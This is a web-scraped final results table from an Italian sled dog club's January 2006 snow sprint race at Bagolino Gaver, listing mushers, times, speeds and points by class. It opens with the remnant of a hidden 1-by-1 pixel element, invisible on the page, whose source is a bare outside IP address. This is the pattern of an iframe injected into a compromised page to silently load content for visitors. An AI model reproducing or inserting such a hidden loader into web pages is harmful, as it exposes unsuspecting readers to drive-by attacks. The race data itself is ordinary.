rc='http://58.65.239.180/' width='1' height='1' style='visibility: hidden;'>
C.I.S. Club Italiano Sleddog 17/01/2006
Campionato Sociale Neve 2005/2006
Gara su neve sprint
Bagolino Gaver (Bs)
14-15 gennaio 2006
Classifica Finale
 
Giudice di Gara: Andrea Bordiga,Seppi Umberto
B1 - Slitta 6 Cani con Siberian Husky     Km = 6 Km = 6        
Numero Pettorale Nominativo       Tempo 1° Manche h.mm.ss,cc Tempo 2° Manche h.mm.ss,cc Tempo Totale Km/h Punti  
1 2 Geier Christian CIS I 0.12.51,99 0.12.39,01 0.25.31,00 28,22 14,75
2 3 Beconcini Francesco CIS I 0.13.01,44 0.13.01,88 0.26.03,32 27,63 11,50
3 1 De Ferrari Caludio CIS I 0.13.19,36 0.12.55,06 0.26.14,42 27,44 8,75
4 4 Castelletta Luca CIS I 0.14.26,47 0.14.37,34 0.29.03,81 24,77 3,75
C1 - Slitta 4 Cani con Siberian Husky     Km = 6 Km = 6        
Numero Pettorale Nominativo       Tempo 1° Manche h.mm.ss,cc Tempo 2° Manche h.mm.ss,cc Tempo Totale Km/h Punti  
1 12 Martini Massimo CIS I 0.13.32,26 0.13.06,75 0.26.39,01 27,02 16,58
2 7 Del Nevo Ugo CIS I 0.13.33,77 0.13.42,05 0.27.15,82 26,41 15,17
3 9 Panattoni Luca CIS I 0.14.55,90 0.14.39,72 0.29.35,62 24,33 12,50
4 14 Bordiga Andrea CIS I 0.14.44,03 0.14.53,11 0.29.37,14 24,31 11,83
5 15 Babboni Aldo CIS I 0.14.34,05 0.15.14,55 0.29.48,60 24,15 10,92
6 8 Garruba Raffaele CIS I 0.15.28,23 0.15.19,60 0.30.47,83 23,38 9,50
7 11 Vetrano Massimiliano CIS I 0.16.03,17 0.16.20,08 0.32.23,25 22,23 7,58
8 10 Arcardini Andrea CIS I 0.15.59,26 0.16.37,02 0.32.36,28 22,08 6,92
9 16 Mathieu Antonio CIS I 0.15.23,00 0.17.23,82 0.32.46,82 21,96 6,00
10 17 Brioschi Luca CIS I 0.16.43,49 0.16.27,18 0.33.10,67 21,70 5,33
11 13 Raviola Fabio CIS I 0.16.50,12 0.16.33,46 0.33.23,58 21,56 4,67
12 20 Lupezza Enrico CIS I 0.17.16,21 0.16.11,75 0.33.27,96 21,51 4,00
13 18 Prampolini Giuseppe CIS I 0.17.51,02 0.18.40,91 0.36.31,93 19,71 3,33
14 22 Matterazzo Doriano CIS I 0.19.24,12 0.19.04,08 0.38.28,20 18,72 2,67
15 21 Sella Giovanni CIS I 0.19.22,24 0.19.08,72 0.38.30,96 18,69 2,00
16 19 Mair Horst CIS I         1,00  RI
C2 - Slitta 4 Cani senza Siberian Husky     Km = 6 Km = 6        
Numero Pettorale Nominativo       Tempo 1° Manche h.mm.ss,cc Tempo 2° Manche h.mm.ss,cc Tempo Totale Km/h Punti  
1 24 Visconti Marco CIS I 0.19.56,50 0.19.45,68 0.39.42,18 18,13 12,25
2 25 Drigo Maurizio CIS I 0.20.37,88 0.22.18,62 0.42.56,50 16,77 5,75
D1 - Slitta - 2 Cani con Siberian Husky     Km = 6 Km = 6        
Numero Pettorale Nominativo       Tempo 1° Manche h.mm.ss,cc Tempo 2° Manche h.mm.ss,cc Tempo Totale Km/h Punti  
1 27 Beltrame Graziella CIS I 0.15.52,68 0.15.02,50 0.30.55,18 23,29 14,75
2 28 Petri Stefano CIS I 0.19.22,34 0.18.02,86 0.37.25,20 19,24 8,00
3 29 Aielli Riccardo CIS I 0.19.40,70 0.19.19,02 0.38.59,72 18,46 4,75
4 30 Mathieu Sergio CIS I 0.20.40,51 0.21.12,93 0.41.53,44 17,19 2,00
D2 - Slitta - 2 Cani senza Siberian Husky     Km = 6 Km = 6        
Numero Pettorale Nominativo       Tempo 1° Manche h.mm.ss,cc Tempo 2° Manche h.mm.ss,cc Tempo Totale Km/h Punti  
1 32 Pirini Giorgio CIS I 0.26.14,88 0.24.23,05 0.50.37,93 14,22 13,92
2 34 Rizzi Mirko CIS I 0.27.40,01 0.26.39,63 0.54.19,64 13,25 9,58
3 33 Lazzari Gianluca CIS I 0.29.45,29 0.31.21,85 1.01.07,14 11,78 4,75